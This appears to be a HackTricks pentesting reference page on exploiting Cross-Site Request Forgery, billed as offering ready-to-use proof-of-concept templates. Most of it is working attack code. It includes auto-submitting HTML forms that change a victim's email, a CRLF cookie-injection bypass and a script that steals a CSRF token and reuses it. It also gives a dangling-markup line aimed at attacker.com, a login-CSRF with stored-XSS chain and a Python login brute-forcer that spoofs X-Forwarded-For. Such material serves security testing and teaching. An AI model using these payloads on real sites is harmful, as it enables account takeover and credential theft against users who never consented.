> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# CSRF (Cross-Site Request Forgery)

> Exploiting Cross-Site Request Forgery vulnerabilities, bypassing CSRF protections including tokens, SameSite cookies, and Referer checks, with ready-to-use PoC templates.

Cross-Site Request Forgery (CSRF) exploits a web application's trust in an authenticated user's browser. An attacker tricks a victim into sending a forged request using their active session.

## Prerequisites for a CSRF Attack

1. **A valuable action** — password change, email change, privilege escalation
2. **Cookie-only session management** — session maintained via cookies or HTTP Basic Auth
3. **No unpredictable parameters** — no unique tokens required

## Defenses and Their Pitfalls

| Defense        | Pitfall                                                            |
| -------------- | ------------------------------------------------------------------ |
| CSRF tokens    | Only validated when present; empty token may be accepted           |
| SameSite=Lax   | Still allows top-level cross-site navigations (form GETs)          |
| Referer check  | Bypass with `meta name="referrer" content="never"` or regex tricks |
| Custom headers | X-Requested-With can sometimes be spoofed                          |

## Token Bypass Techniques

### Missing Token Validation

```http theme={null}
# Remove the CSRF parameter entirely or send empty value
POST /admin/users/role HTTP/2
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=
```

```html theme={null}
<!-- Auto-submit PoC -->
<html><body>
  <form action="https://example.com/admin/users/role" method="POST">
    <input type="hidden" name="username" value="guest" />
    <input type="hidden" name="role" value="admin" />
    <input type="hidden" name="csrf" value="" />
  </form>
  <script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body></html>
```

### Token Not Tied to User Session

If tokens are validated against a global pool:

1. Authenticate with your own account
2. Obtain a valid token from the pool
3. Use that token in a CSRF attack against another victim

### POST to GET Method Bypass

Some applications only validate CSRF on POST:

```http theme={null}
# Original POST (with token)
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"..."}]

# Bypass as GET (no token needed)
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{...}] HTTP/1.1
```

### Method Override

```http theme={null}
# Use _method parameter to override HTTP method
POST /users/delete HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
```

Override headers: `X-HTTP-Method`, `X-HTTP-Method-Override`, `X-Method-Override`

### CSRF Token via Cookie (Double Submit)

If the token is in both cookie and request body, exploit CRLF injection to set the cookie:

```html theme={null}
<html><body>
  <form action="https://example.com/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com" />
    <input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
  </form>
  <img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
       onerror="document.forms[0].submit();" />
</body></html>
```

### Referrer Bypass

```html theme={null}
<!-- Suppress Referer header -->
<meta name="referrer" content="never">

<!-- Include target domain in attacker URL query string -->
<script>
  history.pushState("", "", "?victim-domain.com")
  document.forms[0].submit()
</script>
```

## PoC Templates

<Tabs>
  <Tab title="Form GET">
    ```html theme={null}
    <html><body>
      <form method="GET" action="https://victim.net/email/change-email">
        <input type="hidden" name="email" value="attacker@evil.com" />
      </form>
      <script>history.pushState('', '', '/'); document.forms[0].submit();</script>
    </body></html>
    ```
  </Tab>

  <Tab title="Form POST">
    ```html theme={null}
    <html><body>
      <form method="POST" action="https://victim.net/email/change-email" id="csrfform">
        <input type="hidden" name="email" value="attacker@evil.com"
               autofocus onfocus="csrfform.submit();" />
      </form>
      <script>document.forms[0].submit();</script>
    </body></html>
    ```
  </Tab>

  <Tab title="Ajax POST">
    ```html theme={null}
    <script>
      var xhr = new XMLHttpRequest();
      xhr.withCredentials = true;
      xhr.open("POST", "http://victim.net/email/change-email");
      xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      xhr.send("email=attacker@evil.com");
    </script>
    ```
  </Tab>

  <Tab title="JSON via text/plain">
    ```html theme={null}
    <html><body>
      <form id="form" method="post" action="https://target.com/api/"
            enctype="text/plain">
        <input name='{"email":"attacker@evil.com","garbage":"' value='"}'  />
      </form>
      <script>form.submit();</script>
    </body></html>
    ```
  </Tab>
</Tabs>

## Stored CSRF via HTML Injection

```html theme={null}
<!-- Any user viewing this content performs the request automatically -->
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```

## Login CSRF + Stored XSS Chain

Force the victim to log into an attacker-controlled account, then navigate to a page with stored XSS:

```html theme={null}
<html><body>
  <form action="https://example.com/login" method="POST">
    <input type="hidden" name="username" value="attacker@example.com" />
    <input type="hidden" name="password" value="StrongPass123!" />
  </form>
  <script>
    history.pushState('', '', '/');
    document.forms[0].submit();
  </script>
</body></html>
```

## Exfiltrating CSRF Tokens

If a CSRF token is in use, exfiltrate it via:

* **XSS** — make the victim's browser read and send the token
* **Dangling Markup** — steal tokens from page attributes using `<img src="http://attacker.com/`

```javascript theme={null}
// Steal token and make a POST
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", "http://victim.com/profile", true);
xhr.onload = function() {
    var token = this.responseText.match(/name="token" value="(.+)"/)[1];
    var xhr2 = new XMLHttpRequest();
    xhr2.withCredentials = true;
    xhr2.open("POST", "http://victim.com/email/change", true);
    xhr2.send("email=attacker@evil.com&token=" + token);
};
xhr.send();
```

## CSRF Brute Force Script

```python theme={null}
import requests, re, random

URL = "http://10.10.10.191/admin/"
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"

def get_csrf_and_cookie():
    r = requests.get(URL)
    csrf = re.search(r'name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text).group(1)
    cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, cookie

def login(user, password):
    csrf, cookie = get_csrf_and_cookie()
    data = {"tokenCSRF": csrf, "username": user, "password": password}
    headers = {"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.0.1"}
    r = requests.post(URL, data=data,
                      cookies={SESSION_COOKIE_NAME: cookie},
                      headers=headers)
    return "Username or password incorrect" not in r.text
```

## Tools

* [XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [CSRF PoC Generator](https://github.com/merttasci/csrf-poc-generator)
* Burp Suite Professional (Generate CSRF PoC)
